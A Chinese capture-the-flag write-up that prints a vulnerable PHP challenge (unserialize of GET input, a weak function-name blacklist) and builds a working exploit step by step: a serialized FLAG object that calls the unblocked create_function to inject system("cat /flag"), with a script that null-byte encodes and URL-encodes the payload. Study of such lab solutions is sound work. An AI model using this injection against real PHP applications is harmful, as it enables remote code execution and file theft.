<?php
class FLAG
{
    private $a;
    protected $b;
    public function __construct($a, $b)
        {
            $this->a = $a;
            $this->b = $b;
            $this->check($a);
            eval($a.$b);
        }
    public function __destruct(){
            $a = (string)$this->a;
            $b = (string)$this->b;
            if ($this->check($a)){
                $a("", $b);
            }
            else{
                echo "Try again!";
            }
        }
    private function check($a) {
        $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
        $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';

        if (preg_match($pattern_a, $a)) {
            return false;
        }
        return true;
    }  
}


if (isset($_GET['exp'])) {
    $p = unserialize($_GET['exp']);
    var_dump($p);
}else{
    highlight_file("index.php");
}

打开靶场发现是一串php代码,根据部分关键词如:unserialize,class,猜测考的是php反序化绕过。

由于不存在unserialize所以不考虑__construct的代码,就重点考虑__destruct的代码

public function __destruct(){
    $a = (string)$this->a;
    $b = (string)$this->b;
    if ($this->check($a)){
        $a("", $b);
    }
    else{
        echo "Try again!";
    }
}


$a = (string)$this->a;    将属性 $a 强制转为字符串    获取可控值
$b = (string)$this->b;    将属性 $b 强制转为字符串    获取可控值
if ($this->check($a))    只检查 $a    ⚠️ $b 完全不检查!
$a("", $b);    将 $a 作为函数名调用,传入 $b    ⚠️ 动态函数执行!
else    检查失败时输出提示

继续查看黑名单

private function check($a) {
    $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
    $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
    
    if (preg_match($pattern_a, $a)) {
        return false;
    }
    return true;
}

s    system, shell_exec, passthru, assert...
h    shell_exec, highlight_file...
p    passthru, preg_replace, phpinfo...
exec    exec, shell_exec
er    assert (a-s-s-er-t)
eval    eval 本身
cat, flag, file    文件读取相关

禁了一些常见的函数,限制了一些常见函数

array_map('preg_quote', ...   对黑名单中的特殊字符进行转义

通过implode进行连接

'/.../i'不区分大小

但忽略了一个create_function内置函数

当调用create_function函数时其实执行这个函数eval("function lambda_1($args) { $code }");

function create_function($args, $code) {
    $func_name = 'lambda_' . uniqid();
    eval("function $func_name($args) { $code }");
    return $func_name;
}

源码如上

本题恶意构造成这样的代码

function lambda_1() { }system("cat /flag");// }
//                    ↑                      ↑
//                    } 恶意闭合            // 注释掉多余的 }

通过这样的思路我们就可以开始构造序列化代码

class FLAG {
    public $a;
    public $b;
}

$obj = new FLAG();
$obj->a = "create_function";  
$obj->b = '}system("cat /flag");//';

echo serialize($obj);

得到结果O:4:"FLAG":2:{s:1:"a";s:15:"create_function";s:1:"b";s:23:"}system("cat /flag");//";}

由于访问控制修饰符的不同

修饰符 序列化后的属性名 长度
public a 1
private \x00类名\x00a 类名长度+3
protected \x00*\x00a 4

所以再进行手动编辑O:4:"FLAG":2:{s:7:"\x00FLAG\x00a";s:15:"create_function";s:4:"\x00*\x00b";s:23:"}system("cat /flag");//";}

再进行url编码

<?php
// 构造原始Payload(用chr(0)生成真实空字节)
$payload = 'O:4:"FLAG":2:{s:7:"' . chr(0) . 'FLAG' . chr(0) . 'a";s:15:"create_function";s:4:"' . chr(0) . '*' . chr(0) . 'b";s:23:"}system("cat /flag");//";}';
// URL编码
echo urlencode($payload);
?>

最后传入该url编码后的参数后得到flag

更多推荐